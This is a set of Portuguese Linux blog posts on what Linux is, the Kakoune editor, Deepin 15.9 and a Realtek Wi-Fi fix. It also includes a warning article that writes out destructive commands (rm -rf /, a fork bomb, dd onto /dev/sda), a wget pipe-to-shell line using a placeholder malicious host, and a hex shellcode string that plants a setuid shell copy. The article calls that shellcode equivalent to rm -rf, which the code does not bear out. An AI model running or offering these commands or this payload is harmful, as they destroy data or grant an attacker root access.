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O que é Linux? - A definição oficial da Linux Foundation

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quinta-feira, 17 de janeiro de 2019

O que é Linux? É curioso pensar na quantidade de pessoas que utiliza Linux diariamente de forma direta ou indireta e não tem a mínima noção do que realmente "é Linux". Hoje vamos tirar alguns instantes para você entender "o que é Linux" da perspectiva atual, com a definição da instituição que atualmente representa o Linux e é o que mais próximo existe de "uma empresa" por trás do Linux, a Linux Foundation.

O que é Linux - What is Linux?






A maior parte das pessoas que já pesquisou sobre "O que é Linux" já deve ter chegado a informação que te respondem: Linux é um Kernel. Mas talvez isso não refletia a realidade nos tempos atuais, uma definição que outrora era mais adequada.

A documentação atual da Linux Foundation nos dá uma visão geral do que "é Linux" nos dias atuais, então vamos melhorar as nossas definições!

Linux é um Kernel?


Para evitar confundir as pessoas que tem isso por definição de "o que é Linux", vamos fazer uma parada neste tópico.

Sim, Linux é um Kernel. 

Mas o que é um Kernel

Kernel é um software para computador que pode ser considerado o "núcleo" do sistema operacional, seja ele Linux, Windows, macOS ou qualquer outro. Do ponto de vista técnico, ele é um dos, se não "o", componente mais importante do sistema operacional, do ponto de vista do usuário final (desktop, Smartphone, etc), a interface com o usuário tem maior relevância.

Na maior parte dos sistemas o Kernel é um dos primeiros programas a serem carregados no boot, ele costuma trabalhar com o restante da inicialização, assim como trabalha com as solicitações de entradas e saídas, traduzindo-as em instruções que o CPU vai interpretar. O Kernel trabalha com os periféricos (teclados, mouse, monitores, impressoras, som etc.), e também com a memória.

Em linhas gerais, o Kernel é o software que conecta o hardware do seu computador ou dispositivo com o restante do software. É ele que cria o "meio de campo" entre o seu player de música e as sua placa de som, e o resultado desta interação é que vai permitir que você ouça as suas músicas favoritas.

Linux é um Kernel, sim, mas não é "só" isso. Atualmente podemos considerar o Linux uma plataforma ou sistema operacional completo.

O que é Linux - A definição oficial pela Linux Foundation


Existem duas definições que a Linux Foundation oferece em seu site, a definição "comercial", para que qualquer pessoa possa entender, e a explicação técnica, pra quem gosta de "escovar uns bits".

Nós vamos ver as duas obviamente, assim você terá a compreensão total de "O que é Linux".

Linux - A definição comercial


Começado em 1991, Linux é o sistema operacional dominante no mundo. Lançado por Linus Torvalds, o Linux é um exemplo de excelência da inovação de como um projeto pode ser levado. O Linux também representa o desejo de Linus por um sistema operacional que ele poderia executar em seu computador pessoal, eventualmente o mundo todo tomou conhecimento dele e todos, desde empresas de hardware até provedores de tecnologias emergentes, se encontraram participando do desenvolvimento do Linux e da construção de soluções para serem executadas em um sistema operacional aberto. 

O que é Linux?


Entre 2005 e 2015, mais de 11 mil desenvolvedores individuais e quase 1.200 empresas diferentes contribuíram com o Kernel do Linux, que se tornou um recurso compartilhado comum, desenvolvido em grande escala por empresas que, de outra forma, são concorrentes ferozes em seus respectivos segmentos industriais.

Os lançamentos dos Linux são regulares, a cada dois ou três meses são oferecidas atualizações estáveis para os usuários, onde são adicionados novos recursos importantes, suporte aprimorado a dispositivos recorrentes e melhorias de desempenho. A taxa de mudança no Kernel foi historicamente alta e continua a aumentar, com mais de 10 mil patches em cada nova versão do Kernel. Cada um desses lançamentos contém o trabalho de mais de 1.400 desenvolvedores que representam mais de 200 corporações, incluindo Google, Microsoft, Red Hat, Lenovo, Linaro, IBM, Intel, AMD, e muitas, muitas outras.


O que é Linux? - Definição técnica


OK, agora vamos mergulhar em algo um pouco mais denso para você entender o contexto como um todo. Esta definição também foi retirada do site oficial da Linux Foundation, você pode ler o artigo original aqui.

Assim como o Windows ou o macOS, Linux é um sistema operacional. Um sistema operacional é um software que gerencia todos os recursos de hardware associados ao seu desktop ou Notebook, assim como os seus dispositivos móveis. Para colocar de forma simples, o sistema operacional gerencia a comunicação entre o seu software e o seu hardware e serve como plataforma para as aplicações que você executa. Sem o sistema operacional (também referido como SO, ou OS em inglês), o restante dos softwares não poderia funcionar da forma como conhecemos.

Um "sistema operacional Linux" abrange um certa quantidade de setores:

Bootloader: O software que gerencia o processo de boot do seu computador. Para a maior parte dos usuários, ele é reconhecido como uma simples "splash screen" com algum logo ou animação que eventualmente acaba e te leva até a sua área de trabalho ou tela de login. Essa página do Debian nos mostra uma grande variedade de bootloaders disponíveis para Linux.

O mais popular é o GRUB, no entanto, ele é comumente utilizado em distros de desktop/servidor, sendo que em máquinas mais recentes o próprio Kernel é capaz de gerenciar o boot sem a necessidade de outro bootloader. Existe também um projeto chamado "Das U-Boot" que é Open Source e é responsável por dar boot em placas embarcadas, como o Raspberry Pi. O Android geralmente possui uma versão modificada pelos fabricantes do Bootloader que lhe garante acesso a características específicas de cada aparelho. O bootloader do Android consegue ler do armazenamento do dispositivo as imagens boot.img e recovery.img que contém versões comprimidas do Kernel Linux, onde elas são carregadas diretamente para a RAM dos Smartphones/Tablets, etc. Aqui tem um slide interessante sobre o boot do Android.

Kernel: Esta é a parte que do todo que chamamos efetivamente de "Linux". O Kernel é o núcleo do sistema e gerencia o CPU, memória, periféricos, etc, como já comentamos anteriormente no texto. O kernel pode ser considerado o nível mais baixo do sistema operacional, a base de tudo.

Daemons: Esses são serviços que rodam em background (processos de impressão, som, scheduling, etc.) que iniciam durante o boot, ou depois de iniciar a sessão na área de trabalho. Para entender melhor o que é e como funcionam confira este outro artigo do blog.

O Shell: Você provavelmente já ouviu falar do terminal Linux. De forma simples, isto é o Shell. Em um termo mais técnico, Shell (casca/concha) é a camada externa do Kernel, no entanto, o termo também é empregado em sistemas Unix onde programas em modo texto podem ser utilizados como meio de interação como interface para o usuário operar serviços de acesso direto ao Kernel. No Linux você pode usar o shell também para alterar funções de camadas mais altas do sistema operacional, como a manuseamento de software e automação de tarefas. O primeiro Shell Unix foi criado por Ken Thompson, uma das mentes mais importantes do mundo da informática ao lado de Dennis Ritchie.

Nas distros em geral você encontra o Bash, provindo do GNU, como o interpretador de comandos Shell, no entanto, ele não é o único e o próprio Linux possui o seu próprio, não sendo, teoricamente necessário a utilização de um outro. Veja informações sobre o Busybox/ToyBox aquialém deles temos alguns extremamente queridos pelos profissionais como ZSH, que em alguns casos pode ser até mais seguro do que o próprio Bash, fish, IPython, KornShell, etc.

Servidor Gráfico: Este é o sub-sistema que mostra os gráficos no seu monitor, que mostra as imagens. Ele é comumente referido no mundo Linux como "X", "X Server" ou "X.org". Existem outros em desenvolvimento, como o Mir, Wayland e o Freon, criado pela Google para os Chromebooks, entre outros menos populares.

Desktop Enviroment (DE): Essa é a parte do "quebra cabeças" dos sistemas que usam o Linux é que os usuários finais geralmente interagem. Existem muitos ambientes de trabalho (desktop enviroments) para se escolher no mundo Linux, como GNOME, Cinnamon, KDE, Enlightment, XFCE, LXDE, Budgie, Deepin Desktop Enviroment, entre outros. Cada Desktop Enviroment inclui suas próprias aplicações desenvolvidas para integração com o restante da interface, como gestores de arquivos, ferramentas de configuração, etc.

Aplicações: Apesar de existirem desktop enviroments que oferecem soluções praticamente completas para todo o tipo de ferramenta, eles ainda podem deixar algo faltando, e é aí que entram as aplicações. Assim como o Windows e o macOS, o Linux oferece milhares de softwares de alta qualidade que podem ser facilmente encontrados e instalados. Distros Linux modernas, e focadas em uso domésticos especialmente, já incluem ferramentas para instalar softwares de terceiros com poucos cliques. Estas sãos as chamadas "Centrais de Aplicativos", que funcionam como a AppStore ou Google Play.

Definidas as camadas, Linux atualmente é a plataforma que agrupa e serve de base para todos esses projetos que são desenvolvidos comunitariamente muitas vezes, mas também de forma independente.

Linux é o único ponto em comum de todas as chamadas "distribuições Linux", que são sistemas operacionais que usam o Kernel Linux como base para o desenvolvimento de seus projetos, agrupando softwares de todos os desenvolvedores, com licenças variadas. Por si só o Linux é um Kernel que também já pode ser considerado um sistema operacional independente, pois já possui um bootloader próprio, daemons e um terminal de interação próprio. Tudo o que vem acima disso para dar um propósito ao Linux é o que compõe o que chamamos de "distribuição Linux", ou simplesmente "distro".

Falando em distribuições Linux...


Existem desacordos locais entre o que deve e o que não deve ser chamado de "distribuição Linux", mas vamos ater nos novamente a explicação oficial, quem sabe assim possamos virar essa página.

É mais simples do que parece, uma distribuição Linux é um sistema operacional que usa o Kernel Linux, simples assim. Seja ele qual for e para qual finalidade ele for.

Partir de uma base do Kernel Linux e acrescentar coisas que não vem nele por padrão, ou pegar o Kernel e desmontar ele completamente usando somente os componentes que interessam, não faz dele menos Linux, faz dele um Linux modificado. É exatamente isso que praticamente todas as chamadas distribuições Linux fazem, praticamente nenhuma usa o Kernel Linux "puro" disponível no Kernel.org.

Fazendo uma analogia que ignora a filosofia e considera a biologia: Do mesmo jeito que se você, que é composto de incontáveis átomos, você desintegrado e se tornasse poeira cósmica novamente continuaria sendo tecnicamente você, só que em outra forma, assim é o Linux.

O Linux possui um número imenso de versões diferentes, de versões para usuários novatos aos hard users, de relógios de pulso ao seu celular, de máquinas de lavar a geladeiras, de ordenhadeiras a robôs que andam em Marte, tem Linux para todos os gostos!

Cada uma dessas versões é chamada de distribuição Linux (ou distro). No caso das versões moldadas para rodar no Desktop, temos algumas famosas. O site Linux.com cita como exemplo:

- Ubuntu
- Linux Mint
- Arch Linux
- Deepin
- Fedora
- Debian
- openSUSE

(Parênteses no assunto)

E uma observação aqui, fugindo um pouco da pauta. Muitas pessoas ainda criticam o Deepin pelo simples fato de sua origem ser chinesa, esse assunto já foi debatido no canal em dois vídeos que você pode ver aqui e aqui. Mas o Kernel.org faz espelhamento do Deepin e a Linux Foundation (da qual a Wuhan Technology, desenvolvedora do Deepin faz parte) agora indica ele como uma das boas distros para uso no Desktop. Isso definitivamente não os exime de nada, mas é um ótimo indicativo de confiança.

Retomando...

Cada distribuição pode ter um público alvo e um propósito diferente, muitas vezes existem distribuições (ou projetos) que tentam criar versões do sistema para finalidades diferentes. Ubuntu para Desktop, Ubuntu Server, Ubuntu Snappy, etc, são bons exemplos disso.

Em suma, para algo ser uma "distro Linux" ela simplesmente precisa usar o Kernel Linux.

Linus Torlvalds -  A mente por trás do Linux


Nas suas pesquisas sobre Linux você já deve, inevitavelmente, ter ouvido falar de Linus Torvalds. Ele já havia sido mencionado em outro momento neste mesmo texto. Ele é o criador original do Linux e até hoje um dos principais mantenedores. Não é uma pessoa de muitas palavras e raramente dá entrevistas, por isso, aproveite o "show" em um raro TED Talks que a nossa equipe legendou em português para você.

Linus Torlvads Entrevista Ted Talks PTBR

Apesar de Torvalds ser reconhecido mundialmente como "a mente por trás do Linux", ele não é o único a fazer este árduo trabalho. A Linux Foundation nos mostra quem são as pessoas que atualmente estão ao lado de Linus Torvalds nesse trabalho.

Linux Desenvolvedores principais

Mencionar Chris Mason, Dan Williams e Greg Kroah-Hartman é interessante, pois muita gente se pergunta o que aconteceria com o Linux caso Linus Torvalds se aposente ou venha a falecer, a resposta é que a Linux Foundation está aí justamente para isso e estas são algumas das pessoas que poderiam assumir o cargo. Falamos mais sobre este assunto mórbido neste outro artigo aqui do blog.

E o Tux?


O Tux é o mascote do Linux, esse pinguim simpático que você já viu na primeira imagem deste artigo. Nós temos um artigo aqui no blog dedicado a te ensinar a origem do mascote do Linux, que atualmente possui inúmeras variações, veja alguns exemplos:


O mascote do Linux

Conclusões e Mitos Rápidos


- O que é Linux? 

R: Uma plataforma ou sistema operacional (Kernel e ferramentas satélites que podem ou não ser usadas, dependendo do projeto), criando proeminência para o Kernel.

- Android é Linux?

R: De uma vez por todas, SIM. Se você precisar de mais referências, veja o site oficial do Android, veja o site da Linux Foundation, veja a página da Wikipédia e consulte as referências para o artigo e por último, confira este artigo aqui do blog que tem um vídeo bacana sobre o assunto, e damos isso por encerrado. Belezinha? 😉

- Linux ou GNU/Linux?

R: É uma velha guerra e dificilmente quem se decidiu muda de opinião. A verdade é que cada um é uma coisa, tanto que são representados por instituições diferentes e ambos vivem de forma independente.

Ao se referir a "Linux" você se refere a toda e qualquer aplicação, sistema ou plataforma, que rode o Kernel Linux (usando ferramentas GNU ou não), usar o termo GNU/Linux é fazer uma alusão as ferramentas GNU que são inclusas em algumas distribuições comuns em desktop, como GRUB, Bash, GCC, entre outros, o que a meu ver (opinião pessoal agora), é elucidar uma iniciativa (que é importante, mas não única) em detrimento de outras igualmente importantes. Uma distro como o Manjaro KDE por exemplo é formada por muito mais coisas do que apenas "Linux e ferramentas GNU", temos ali KDE, QT, X.org, Filesystems e muitos outros softwares que formam o sistema operacional que você usa e que são provindos de outros desenvolvedores, onde juntas formam toda a distribuição, seguindo a mesma lógica, não seria justo usar todos os contribuidores no nome?

Melhor chamar só de "Manjaro" mesmo, que é o resultado desse agrupamento de software específico, que é o nome do sistema operacional, uma das muitas distros Linux que também usam ferramentas GNU. 

Uma das definições que eu já ouvi, é que chamar de "GNU/Linux" é também uma forma de trazer o projeto GNU a tona, tentando endossar a ideia do Software Livre, o que é louvável, mas a meu ver não é coerente. Um verdadeiro sistema GNU/Linux para mim seria um sistema operacional lançado pelo projeto GNU que usasse o Linux como Kernel.

Não temos uma "GNU/Linux Foundation", nem uma "qt/KDE/GNU/X/Mesa/Intel/Linux/Minix/Unix Foundation", temos uma fundação GNU, uma fundação Linux e assim por diante, afinal, são coisas diferentes e nem sempre relacionadas. E mesmo quando são, as ferramentas GNU estão sob a mesma base Linux que todas as outras ferramentas que compõem o sistema operacional estão, no nosso exemplo, o KDE Plasma, o sistema de arquivos, os KApps, os gestores de softwares, o servidores gráfico, entre outras coisas.

Para mais informações sobre essa discussão chata, inconclusiva para muitos e completamente inútil e improdutiva, veja a série "Muito Além do GNU" do canal Toca do Tux.

- Linux (ou Linux Foundation) é uma empresa?

R: Não! Muita gente se confunde quanto a isso e pensa que "Linux" é um sistema operacional que concorre diretamente com Windows e macOS no mercado através de uma empresa, então "se a Linux quiser abocanhar uma parte do mercado... blá, blá, blá", você já deve ter ouvido isso. Para acabar com isso de uma vez, confira o vídeo "O que você ainda não entendeu sobre 'O Linux'".


Se preferir consumir o conteúdo deste vídeo em modo texto, faça a leitura neste artigo aqui do blog. Agora quando você pensar em Linux, não pense em um prédio cheio de escritórios onde um monte de pessoas trabalha desenvolvendo o Linux.

Algumas distros Linux são criadas dessa forma (mas não somente dessa forma), especialmente as que (justamente) possuem uma empresa "tradicional" por trás, como Ubuntu (Canonical) e Red Hat EL (Red Hat), Android (Google) entre outras.

Linux pode ser desenvolvido por uma série de empresas, mas ele é de domínio público, qualquer um (literalmente) pode utilizar o Linux para seus projetos, você não precisa necessariamente ser um contribuidor direto do Linux para usar Linux, no entanto, o simples fato de você usar Linux acaba gerando feedback e eventualmente código que vai ajudar a melhorar o Linux em versões futuras.

A Microsoft poderia criar uma versão do Linux para Desktop se quisesse, a Apple poderia criar um sistema Linux para o iPhone se quisesse também e assim por diante. A única coisa que tem Copyright é o nome Linux, que pertence a Linus Torlvalds por questões legais.

- Qual a função da "Linux Foundation"?

R: A Fundação Linux é dedicada a construir ecossistemas sustentáveis em torno de projetos de código aberto para acelerar o desenvolvimento de tecnologia e adoção comercial. Fundada em 2000, a Fundação Linux oferece suporte incomparável para comunidades de código aberto através de recursos financeiros e intelectuais, infra-estrutura, serviços, eventos e treinamento. Trabalhando juntos, a Fundação Linux e seus projetos formam o investimento mais ambicioso e bem sucedido na criação de tecnologia compartilhada, mais do que Linux "A Fundação Linux" conquistou sua experiência e expertise apoiando a comunidade Linux para ajudar a estabelecer, construir e sustentar algumas das tecnologias de código aberto mais críticas. 

Seu trabalho hoje se estende muito além do Linux, promovendo a inovação em todas as camadas da pilha de software. A Fundação Linux organiza projetos que abrangem TI corporativa, sistemas embarcados, eletrônicos de consumo, nuvem, rede e muito mais. Alguns desses projetos de alta velocidade que estão ajudando a redefinir o que é possível incluem o Hyperledger para tecnologias de cadeias de blocos interindustriais; Automotive Grade Linux, a plataforma de software aberto para aplicações automotivas; o projeto da Plataforma de Automação de Rede Aberta (ONAP) para automação de software em tempo real e orientada por políticas de funções de rede virtual; e Kubernetes, o projeto Cloud Native Computing Foundation para orquestração de contêineres de produção.

Conclusão do artigo

Todas as informações contidas neste artigo não são opinativas, elas são factuais e retiradas de fontes confiáveis e que foram referenciadas nos links ao longo do texto, além disso, você pode consultar o próprio site da Linux Foundation para validar as informações. A única informação opiniativa foi gravada em itálico na sessão "Linux ou GNU/Linux".

Eu sinceramente espero que as horas que eu gastei pesquisando e organizando este conteúdo sejam realmente úteis para você! :)

Até a próxima!
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7 comandos perigosos do Linux que você NUNCA deve executar

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Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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Conheça o Kakoune, um Vim fácil de usar

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O Vim é um clássico do mundo Linux, um editor de texto muito poderoso e usado por diversas pessoas ao redor do mundo, mas ele, apesar de muito bom, não é a única opção. Desconsiderando o Emacs, Nano, e alguns outros, também bem populares, hoje você vai conhecer o interessantíssimo, Kakoune.

Kakoune
















Kakoune é um editor de texto inspirado no Vim que possui comandos similares e de uso mais intuitivo. Ele possui um sistema de ajuda interativa, o xclip que é baseado no famoso Clippy do Microsoft Office e de outros aplicativos.

O Kakoune está no repositório de todas as distribuições Linux e em outros sistemas: FreeBSD, OpenBSD, macOS, Windows e entre outros. Então para instalá-lo não há segredo, basta rodar o comando de instalação do gerenciador de pacotes do seu sistema. Exemplo para Debian, Ubuntu e Mint:
sudo apt install kakoune

Utilização


Como foi dito acima, os comandos do Kakoune são similares ao do Vim. Para você abrir ou criar um arquivo, basta rodar o comando kak arquivo. Ele terá o modo de inserção (pressione a tecla i para começar a digitar) e para sair e salvar (pressione ESC e em seguinda tecle :wq) . Se quiser só salvar [ESC] :w e se quiser sair sem salvar [ESC] :q!

Configuração


Para o obter ajuda do Kakoune, basta teclar a letra 'q' ou 'Q' em maiúsculo . Abrirá o ajudante (Clippy) para lhe dar algumas dicas, veja a imagem abaixo:

Obtendo ajuda do Clippy


Kakoune

Teclando i para digitar o texto:

Teclando i para digitar o texto


Pressionei ESC e depois digitei :wq

Perceba que além do Clippy , agora também tem uma barra branca que me orienta quais comandos utilizar . Eu poderia ainda pressionar a tecla TAB que o Kakoune iria navegar nessas opções e escrever o comandos para mim, como há na imagem logo abaixo.

Pressionei ESC e depois digitei :wq

Pressionando TAB e navegando nas opções:

Pressionando TAB e navegando nas opções:


Customizando seu Kakoune


Você pode numerar as linhas , alterar o tema de cores e entre várias outras formas . Se você pressionar ESC ':' (dois pontos) perceba que ele já lhe orienta sobre os comandos.

Kakoune

Se você quiser numerar as linhas o comando é (comece a digitar o comando e use o TAB para facilitar):
add-highlighter global/ number_lines
Kakoune

Para mudar o tema de cores:
colorscheme [tema_que_você_deseja]
Kakoune

E muitos outros comandos que você mesmo pode notar no menu suspenso. Mas quando você fechar o Kakoune, essas configurações serão perdidas , mas você pode tornar essas alterações definitivas criando um diretório de nome kak dentro do diretório .config na raíz do seu usuário, veja o comando:
mkdir -p ~/.config/kak
E depois crie o um arquivo de nome kakrc e coleque os mesmos comandos que você utilizou dentro do arquivo, assim:
kak .config/kak/kakrc
Tecle i para entrar no modo de inserção ( insert ) e cole esse conteúdo nele, supondo que você deseja esse tema:
add-highlighter global/ number_lines
colorscheme [tema_que_você_escolheu]
Não esqueça de salvar antes de sair [ESC]:wq ou [ESC]:write-quit como o próprio Kakoune sugere .
Pronto, agora é só abrir o Kakoune e as configurações não serão perdidas. O diretório raíz de configurações do Kakoune é em /usr/share/kak/ , dentro dele tem arquivos .kak que são sintaxes para diversas linguagens de programação e entre outros arquivos e diretórios, que é uma boa ideia analizar.

E por falar em boa ideia, não deixe de consultar a wiki oficial do Kakoune no endereço: https://github.com/mawww/kakoune/wiki que tem diversas dicas bem bacanas e se quiser utilizar um kakrc com diversas configurações já inclusas , copie desse endereço:

Você notou a semelhança com o Vim, caso deseje obter dicas do Vim que servirão pro seu Kakoune, clique nesse link: 7 dicas para você usar o VIM como um PRO.

Página oficial do Kakoune: http://kakoune.org/

Este artigo foi escrito em conjunto com Marcos, do Terminal Root.

Abraços!
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Deepin 15.9, conheça as novidades!

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quarta-feira, 16 de janeiro de 2019

O Deepin começa o ano de 2019 com uma atualização significativa, agregando novas funcionalidades a sua interface gráfica, Deepin Desktop Environment (DDE) e corrigindo bugs.

deepin-15.9

Anunciada hoje, (16 de Janeiro), pela empresa chinesa Wuhan Technology, está disponível  a atualização do Deepin para usuários do sistema chinês, com download em seu site oficial. 

Correções de bugs já conhecidos, e melhorias de performance em funcionalidades e aplicações existentes, foram os alvos desta nova versão. Mas não para por aí, funcionalidades extras foram adicionadas.

Quem conhece minha trajetória e acompanha meu singelo projeto OSistemático, sabe que nutro um certo carinho pelo sistema, principalmente pela sua interface gráfica e aplicações singulares.

Novidades para quem possui tela touchscreen


Para dispositivos que possuem tela sensível ao toque, a nova versão 15.9 trará suporte aos múltiplos toques, como: cliques, cliques duplos, pressionamento prolongado para chamar o “menu de contexto”, deslizar para cima e para baixo, em páginas da web e aplicações, entre inúmeras possibilidades.

touchscreen-deepin-tela-toque

Outra funcionalidade que está presente é o teclado virtual, muito útil para utilização da tela com touchscreen, ou até mesmo outras ocasiões, por exemplo uma teclado ausente ou com algum defeito. 

teclado-virtual-acessibilidade-deepin

Gerenciamento inteligente de energia


Com esta funcionalidade o Deepin visa simplificar configurações relacionadas ao gerenciamento de energia, dando maior controle ao suspender o monitor, ou até mesmo na própria gestão de energia, de notebooks e desktops.

deepin-energia-gerenciamento-bateria

Atualizações e instalações de programas, mais veloz


Através do recurso denominado de “Smart Mirror Switch”, o Deepin irá automaticamente identificar o espelho mais rápido, e próximo a localidade do usuário. Isso resultará em menos configurações manuais, e eventuais melhoras no download de aplicações e atualizações do sistema. Este recurso pretende sanar uma dos maiores problemas do Deepin, sua lentidão ao efetuar download de atualizações e instalar apps no sistema.

deepin-download-espelhos-servidor

Correções de vários bugs e aprimoramento no sistema


Muito mais novidades acompanham o sistema, e muitas melhorias de baixo do capô. Nem sempre o usuário nota as modificações e melhorias. Apenas questões visuais, ou recursos adicionais na interface ou software adicionado.

Diversas correções foram realizadas nesta nova versão, seja na interface gráfica DDE, ou aplicações do ecossistema Deepin, alguns exemplos de apps e funcionalidades com bugs solucionados:

Lista de aplicações e funcionalidades com bugs corrigidos, na versão do Deepin 15.9


  • Centro de contro;
  • Launcher;
  • Área de trabalho;
  • Dock;
  • Gerenciador de arquivos do Deepin;
  • Deepin Installer;
  • Deepin Store;
  • Deepin Movie;
  • Deepin Music;
  • Deepin Graphics Driver Manager;
  • Deepin Image Viewer;
  • Deepin Terminal;
  • Deepin Editor;
  • Entre outros.

Se quiser ver a lista completa de aplicações e seus referentes bugs, acesse o site oficial do Deepin com a publicação.

O Deepin é um sistema que vem chamando a atenção de muitas pessoas, tem algumas questões e receios por ser chinês, mas fica evidente que sua interface e aplicações agregam em funcionalidades importantes e parece que seus desenvolvedores vem trabalhando e lapidando a cada dia o seu ecossistema.

Acesse o site oficial do Deepin, e efetue o download desta nova versão.

Já testou a nova versão 15.9 do Deepin? Usa como sistema principal? Diga nos comentários o que acha do Deepin e sua belíssima interface DDE.

Até mais pessoal, nos vemos na próxima, SISTEMATICAMENTE!
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Como resolver o problema da placa de wireless Realtek RTL8723BE no Ubuntu e Linux Mint

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terça-feira, 15 de janeiro de 2019

Se você tem um notebook equipado com a placa de wireless da Realtek, o modelo RTL8723BE, e está tendo problemas com conectividade, sinal caindo ou qualquer outro problema, esse post pode lhe ajudar a sanar isso.

 Como resolver o problema da placa de wireless Realtek RTL8723BE no Ubuntu e Linux Mint






O Kernel Linux  ao longo dos anos vem compatibilizando cada vez mais os drivers dos equipamentos, como placas de rede, de vídeo, wireless, bluetooth e afins. Mas alguns modelos podem apresentar um baixo desempenho ou funcionar de uma maneira “selvagem” digamos assim (lol).

Um desses raros dispositivos é a placa de rede wireless da Realtek, modelo RTL8723BE, que segundo relatos dos usuários de Ubuntu desde a versão 15.04, o sinal do Wireless fica fraco ou cai ou fica inconsistente. Situação bem incomum de acontecer com placas da Realtek, que tem boa compatibilidade com o Linux. Vejo essas placas geralmente equipando computadores da Positivo e da Multilaser, em suas linhas de baixo custo. 

Alguns usuários reclamaram nos fóruns, como o Reddit e o askubuntu, e obtiveram uma solução até o momento como “definitiva”. Vamos aí ao passo a passo.

Resolvendo o problema de sinal

Nesse tutorial vamos usar o terminal, que você acessa pressionando a combinação de teclas Ctrl+Alt+T, feito isso vamos para o próximo passo.

O comando abaixo serve para ter certeza que a sua placa de Wi-Fi é o modelo que estamos discutindo neste post. O comando tem que retornar com o nome Realtek e o modelo RTL8723BE.

lspci -knn | grep Net -A2

Agora vamos baixar o driver para resolver isso.

Vamos baixar do GitHub, com o comando git, se você não tem instalado ainda no seu sistema, basta ver esse tutorial no blog (podexa q depois no blogger eu ponho dio hehe)
